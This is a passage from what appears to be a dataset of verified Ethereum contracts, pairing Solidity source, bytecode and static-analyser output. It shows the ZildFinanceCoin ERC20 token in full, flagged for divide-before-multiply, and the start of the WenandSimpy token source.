fffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610c9e33610fd2565b1515610ca957600080fd5b610cb383836112d1565b6001905092915050565b610cc7338261140f565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d1c828261159a565b5050565b6040805190810160405280600481526020017f4c494b520000000000000000000000000000000000000000000000000000000081525081565b610d6233610fd2565b1515610d6d57600080fd5b610d7681611742565b50565b610d823361179c565b565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dc157600080fd5b610e5082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610fc8338484611097565b6001905092915050565b6000610fe88260036117f690919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083831115151561108857600080fd5b82840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156110e457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561112057600080fd5b611171816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611204816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008082840190508381101515156112c757600080fd5b8091505092915050565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156112f757600080fd5b61130c816002546112b090919063ffffffff16565b600281905550611363816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561143557600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561148257600080fd5b6114978160025461107690919063ffffffff16565b6002819055506114ee816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561162557600080fd5b6116b481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173e828261140f565b5050565b61175681600361188a90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b6117b081600361192490919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561183357600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118c657600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561196057600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a7230582005c4883aa58487aa17ce2df98f5fb60f47ba359703d7502d2b19dc7bc7a03ba70029 | {"success": true, "error": null, "results": {}} | 9,961 |
0x006699d34AA3013605d468d2755A2Fe59A16B12B | pragma solidity 0.5.4;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
modifier onlyOwner() {
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ZildFinanceCoin is Ownable, IERC20 {
using SafeMath for uint256;
string public constant name = 'Zild Finance Coin';
string public constant symbol = 'Zild';
uint8 public constant decimals = 18;
uint256 public totalSupply = 9980 * 10000 * 10 ** uint256(decimals);
uint256 public allowBurn = 2100 * 10000 * 10 ** uint256(decimals);
uint256 public tokenDestroyed;
uint256 public constant FounderAllocation = 1497 * 10000 * 10 ** uint256(decimals);
uint256 public constant FounderLockupAmount = 998 * 10000 * 10 ** uint256(decimals);
uint256 public constant FounderLockupCliff = 365 days;
uint256 public constant FounderReleaseInterval = 30 days;
uint256 public constant FounderReleaseAmount = 20.7916 * 10000 * 10 ** uint256(decimals);
uint256 public constant MarketingAllocation = 349 * 10000 * 10 ** uint256(decimals);
uint256 public constant FurnaceAllocation = 150 * 10000 * 10 ** uint256(decimals);
address public founder = address(0);
uint256 public founderLockupStartTime = 0;
uint256 public founderReleasedAmount = 0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed to, uint256 value);
event ChangeFounder(address indexed previousFounder, address indexed newFounder);
event SetMinter(address indexed minter);
event SetMarketing(address indexed marketing);
event SetFurnace(address indexed furnace);
event Burn(address indexed _from, uint256 _tokenDestroyed, uint256 _timestamp);
event FrozenFunds(address target, bool frozen);
constructor(address _founder, address _marketing) public {
require(_founder != address(0), "ZildFinanceCoin: founder is the zero address");
require(_marketing != address(0), "ZildFinanceCoin: operator is the zero address");
founder = _founder;
founderLockupStartTime = block.timestamp;
_balances[address(this)] = totalSupply;
_transfer(address(this), _marketing, MarketingAllocation);
}
function release() public {
uint256 currentTime = block.timestamp;
uint256 cliffTime = founderLockupStartTime.add(FounderLockupCliff);
if (currentTime < cliffTime) return;
if (founderReleasedAmount >= FounderLockupAmount) return;
uint256 month = currentTime.sub(cliffTime).div(FounderReleaseInterval);
uint256 releaseAmount = month.mul(FounderReleaseAmount);
if (releaseAmount > FounderLockupAmount) releaseAmount = FounderLockupAmount;
if (releaseAmount <= founderReleasedAmount) return;
uint256 amount = releaseAmount.sub(founderReleasedAmount);
founderReleasedAmount = releaseAmount;
_transfer(address(this), founder, amount);
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
require(to != address(0), "ERC20: tranfer to the zero address");
require(!frozenAccount[msg.sender]);
require(!frozenAccount[to]);
_transfer(msg.sender, to, amount);
return true;
}
function burn(uint256 _value) public returns (bool){
_burn(msg.sender, _value);
return true;
}
function _burn(address _who, uint256 _burntAmount) internal {
require (tokenDestroyed.add(_burntAmount) <= allowBurn, "ZildFinanceCoin: exceeded the maximum allowable burning amount" );
require(_balances[msg.sender] >= _burntAmount && _burntAmount > 0);
_transfer(address(_who), address(0), _burntAmount);
totalSupply = totalSupply.sub(_burntAmount);
tokenDestroyed = tokenDestroyed.add(_burntAmount);
emit Burn(_who, _burntAmount, block.timestamp);
}
function allowance(address from, address to) public view returns (uint256) {
return _allowances[from][to];
}
function approve(address to, uint256 amount) public returns (bool) {
_approve(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
uint256 remaining = _allowances[from][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance");
require(to != address(0), "ERC20: tranfer to the zero address");
require(!frozenAccount[from]);
require(!frozenAccount[to]);
require(!frozenAccount[msg.sender]);
_transfer(from, to, amount);
_approve(from, msg.sender, remaining);
return true;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
_balances[from] = _balances[from].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
_allowances[from][to] = amount;
emit Approval(from, to, amount);
}
function changeFounder(address _founder) public onlyOwner {
require(_founder != address(0), "ZildFinanceCoin: founder is the zero address");
emit ChangeFounder(founder, _founder);
founder = _founder;
}
function setMinter(address minter) public onlyOwner {
require(minter != address(0), "ZildFinanceCoin: minter is the zero address");
require(_balances[minter] == 0, "ZildFinanceCoin: minter has been initialized");
_transfer(address(this), minter, totalSupply.sub(FounderAllocation));
emit SetMinter(minter);
}
function setFurnace(address furnace) public onlyOwner {
require(furnace != address(0), "ZildFinanceCoin: furnace is the zero address");
require(_balances[furnace] == 0, "ZildFinanceCoin: furnace has been initialized");
_transfer(address(this), furnace, FurnaceAllocation);
emit SetFurnace(furnace);
}
function freezeAccount(address _target, bool _bool) public onlyOwner {
if (_target != address(0)) {
frozenAccount[_target] = _bool;
emit FrozenFunds(_target,_bool);
}
}
}
| 0x608060405234801561001057600080fd5b5060043610610202576000357c01000000000000000000000000000000000000000000000000000000009004806386d1a69f1161012c578063b414d4b6116100bf578063f2fde38b1161008e578063f2fde38b146104fd578063fca3b5aa14610523578063fedacfa414610549578063ff1970381461055157610202565b8063b414d4b614610473578063d9aa188114610499578063dd62ed3e146104a1578063e724529c146104cf57610202565b806393c32e06116100fb57806393c32e061461041157806395d89b4114610437578063a42d91d81461043f578063a9059cbb1461044757610202565b806386d1a69f146103d157806387829c65146103db5780638da5cb5b146104015780638f32d59b1461040957610202565b8063313ce567116101a45780634e680654116101735780634e6806541461039357806353b841721461039b5780635f6e84ee146103a357806370a08231146103ab57610202565b8063313ce5671461032c57806335e061fc1461034a57806342966c68146103525780634d853ee51461036f57610202565b806318160ddd116101e057806318160ddd146102de57806323b872dd146102e657806326e5be361461031c57806330cf480b1461032457610202565b806306fdde031461020757806307e4498c14610284578063095ea7b31461029e575b600080fd5b61020f610559565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610249578181015183820152602001610231565b50505050905090810190601f1680156102765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61028c610590565b60408051918252519081900360200190f35b6102ca600480360360408110156102b457600080fd5b50600160a060020a038135169060200135610596565b604080519115158252519081900360200190f35b61028c6105ad565b6102ca600480360360608110156102fc57600080fd5b50600160a060020a038135811691602081013590911690604001356105b3565b61028c6106db565b61028c6106ea565b6103346106f9565b6040805160ff9092168252519081900360200190f35b61028c6106fe565b6102ca6004803603602081101561036857600080fd5b5035610704565b610377610718565b60408051600160a060020a039092168252519081900360200190f35b61028c610727565b61028c610736565b61028c610745565b61028c600480360360208110156103c157600080fd5b5035600160a060020a0316610753565b6103d961076e565b005b6103d9600480360360208110156103f157600080fd5b5035600160a060020a031661086d565b6103776109ac565b6102ca6109bb565b6103d96004803603602081101561042757600080fd5b5035600160a060020a03166109cc565b61020f610acf565b61028c610b06565b6102ca6004803603604081101561045d57600080fd5b50600160a060020a038135169060200135610b0c565b6102ca6004803603602081101561048957600080fd5b5035600160a060020a0316610ba6565b61028c610bbb565b61028c600480360360408110156104b757600080fd5b50600160a060020a0381358116916020013516610bc1565b6103d9600480360360408110156104e557600080fd5b50600160a060020a0381351690602001351515610bec565b6103d96004803603602081101561051357600080fd5b5035600160a060020a0316610cb0565b6103d96004803603602081101561053957600080fd5b5035600160a060020a0316610db2565b61028c610f06565b61028c610f0e565b60408051808201909152601181527f5a696c642046696e616e636520436f696e000000000000000000000000000000602082015281565b60055481565b60006105a3338484610f15565b5060015b92915050565b60015481565b60008061060583606060405190810160405280602881526020016115ec60289139600160a060020a0388166000908152600860209081526040808320338452909152902054919063ffffffff61100b16565b9050600160a060020a03841615156106515760405160e560020a62461bcd02815260040180806020018281038252602281526020018061153f6022913960400191505060405180910390fd5b600160a060020a03851660009081526009602052604090205460ff161561067757600080fd5b600160a060020a03841660009081526009602052604090205460ff161561069d57600080fd5b3360009081526009602052604090205460ff16156106ba57600080fd5b6106c58585856110a5565b6106d0853383610f15565b506001949350505050565b6a0c6205537ba4bc5840000081565b6a084158e2526dd2e580000081565b601281565b60025481565b600061071033836111c4565b506001919050565b600454600160a060020a031681565b6a013da329b633647180000081565b6a02e309477303850140000081565b692c0726213dd1f530000081565b600160a060020a031660009081526007602052604090205490565b600554429060009061078a906301e1338063ffffffff6112c216565b90508082101561079b57505061086b565b6006546a084158e2526dd2e5800000116107b657505061086b565b60006107db62278d006107cf858563ffffffff61132616565b9063ffffffff61136816565b905060006107f982692c0726213dd1f530000063ffffffff6113aa16565b90506a084158e2526dd2e580000081111561081c57506a084158e2526dd2e58000005b600654811161082e575050505061086b565b60006108456006548361132690919063ffffffff16565b6006839055600454909150610865903090600160a060020a0316836110a5565b50505050505b565b600054600160a060020a031633146108bd576040805160e560020a62461bcd0281526020600482018190526024820152600080516020611614833981519152604482015290519081900360640190fd5b600160a060020a03811615156109075760405160e560020a62461bcd02815260040180806020018281038252602c8152602001806116a8602c913960400191505060405180910390fd5b600160a060020a0381166000908152600760205260409020541561095f5760405160e560020a62461bcd02815260040180806020018281038252602d8152602001806114ec602d913960400191505060405180910390fd5b61097530826a013da329b63364718000006110a5565b604051600160a060020a038216907f563cb3456af3dceec7b66059f2c03af0b838a856cdd6bccf313f3260ccab3c8d90600090a250565b600054600160a060020a031690565b600054600160a060020a0316331490565b600054600160a060020a03163314610a1c576040805160e560020a62461bcd0281526020600482018190526024820152600080516020611614833981519152604482015290519081900360640190fd5b600160a060020a0381161515610a665760405160e560020a62461bcd02815260040180806020018281038252602c815260200180611561602c913960400191505060405180910390fd5b600454604051600160a060020a038084169216907f0d6a44001f99eb1e3e879ad45c4f03a44f9fec7dedebb037550b0c8180372ae190600090a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051808201909152600481527f5a696c6400000000000000000000000000000000000000000000000000000000602082015281565b60065481565b6000600160a060020a0383161515610b585760405160e560020a62461bcd02815260040180806020018281038252602281526020018061153f6022913960400191505060405180910390fd5b3360009081526009602052604090205460ff1615610b7557600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610b9b57600080fd5b6105a33384846110a5565b60096020526000908152604090205460ff1681565b60035481565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b600054600160a060020a03163314610c3c576040805160e560020a62461bcd0281526020600482018190526024820152600080516020611614833981519152604482015290519081900360640190fd5b600160a060020a03821615610cac57600160a060020a038216600081815260096020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15b5050565b600054600160a060020a03163314610d00576040805160e560020a62461bcd0281526020600482018190526024820152600080516020611614833981519152604482015290519081900360640190fd5b600160a060020a0381161515610d4a5760405160e560020a62461bcd0281526004018080602001828103825260268152602001806114786026913960400191505060405180910390fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610e02576040805160e560020a62461bcd0281526020600482018190526024820152600080516020611614833981519152604482015290519081900360640190fd5b600160a060020a0381161515610e4c5760405160e560020a62461bcd02815260040180806020018281038252602b815260200180611634602b913960400191505060405180910390fd5b600160a060020a03811660009081526007602052604090205415610ea45760405160e560020a62461bcd02815260040180806020018281038252602c8152602001806114c0602c913960400191505060405180910390fd5b600154610ecf9030908390610eca906a0c6205537ba4bc5840000063ffffffff61132616565b6110a5565b604051600160a060020a038216907fcec52196e972044edde8689a1b608e459c5946b7f3e5c8cd3d6d8e126d422e1c90600090a250565b6301e1338081565b62278d0081565b600160a060020a0383161515610f5f5760405160e560020a62461bcd0281526004018080602001828103825260248152602001806116846024913960400191505060405180910390fd5b600160a060020a0382161515610fa95760405160e560020a62461bcd02815260040180806020018281038252602281526020018061149e6022913960400191505060405180910390fd5b600160a060020a03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000818484111561109d5760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561106257818101518382015260200161104a565b50505050905090810190601f16801561108f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600160a060020a03831615156110ef5760405160e560020a62461bcd02815260040180806020018281038252602581526020018061165f6025913960400191505060405180910390fd5b611133816060604051908101604052806026815260200161151960269139600160a060020a038616600090815260076020526040902054919063ffffffff61100b16565b600160a060020a038085166000908152600760205260408082209390935590841681522054611168908263ffffffff6112c216565b600160a060020a0380841660008181526007602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6002546003546111da908363ffffffff6112c216565b111561121a5760405160e560020a62461bcd02815260040180806020018281038252603e81526020018061158d603e913960400191505060405180910390fd5b3360009081526007602052604090205481118015906112395750600081115b151561124457600080fd5b611250826000836110a5565b600154611263908263ffffffff61132616565b600155600354611279908263ffffffff6112c216565b600355604080518281524260208201528151600160a060020a038516927f49995e5dd6158cf69ad3e9777c46755a1a826a446c6416992167462dad033b2a928290030190a25050565b60008282018381101561131f576040805160e560020a62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061131f83836040805190810160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100b565b600061131f83836040805190810160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140a565b60008215156113bb575060006105a7565b8282028284828115156113ca57fe5b041461131f5760405160e560020a62461bcd0281526004018080602001828103825260218152602001806115cb6021913960400191505060405180910390fd5b60008181841161145f5760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561106257818101518382015260200161104a565b506000838581151561146d57fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735a696c6446696e616e6365436f696e3a206d696e74657220686173206265656e20696e697469616c697a65645a696c6446696e616e6365436f696e3a206675726e61636520686173206265656e20696e697469616c697a656445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e66657220746f20746865207a65726f20616464726573735a696c6446696e616e6365436f696e3a20666f756e64657220697320746865207a65726f20616464726573735a696c6446696e616e6365436f696e3a20657863656564656420746865206d6178696d756d20616c6c6f7761626c65206275726e696e6720616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725a696c6446696e616e6365436f696e3a206d696e74657220697320746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735a696c6446696e616e6365436f696e3a206675726e61636520697320746865207a65726f2061646472657373a165627a7a72305820e6fd4002a5984c22bde21a7c9b84330841d0b32b169895279b8dfd458969c2110029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,962 |
0x30DC8894D79Bd6eA7845FE810087ef61D99fC4Be | /**
*Submitted for verification at Etherscan.io on 2021-10-07
*/
// WEN AND SIMPY / WENSIMPY
/*
Redefining the Meta. Unique Custom meme token complete with NFT's and a plan to stay!
https://www.wenandsimpy.com
https://t.me/wenandsimpy
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WenandSimpy is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
